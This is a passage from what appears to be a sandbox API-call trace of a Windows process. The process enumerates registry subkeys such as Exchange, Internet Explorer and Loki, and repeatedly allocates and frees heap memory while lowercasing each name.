[0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.593] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x252b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.593] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x252b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x252c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0165.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.594] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x252b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x252c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.594] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x252b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x252c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.594] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x252b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.594] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x252b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x252c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.594] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x252b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0165.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x252c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.595] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x252b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x252c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.595] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x252b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.595] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x252b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x252c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.595] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x252b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.596] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x252b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x252c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.596] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x252b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x252c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.596] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x252b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x252c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.596] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.596] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x252b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0165.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x252c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.597] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x252b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x252c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.597] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x252b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x252c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.597] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x252b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x252c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.597] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x252b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x252c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0165.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x252b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0165.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x252c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0165.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x252b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0165.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0165.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x252c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x252b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, 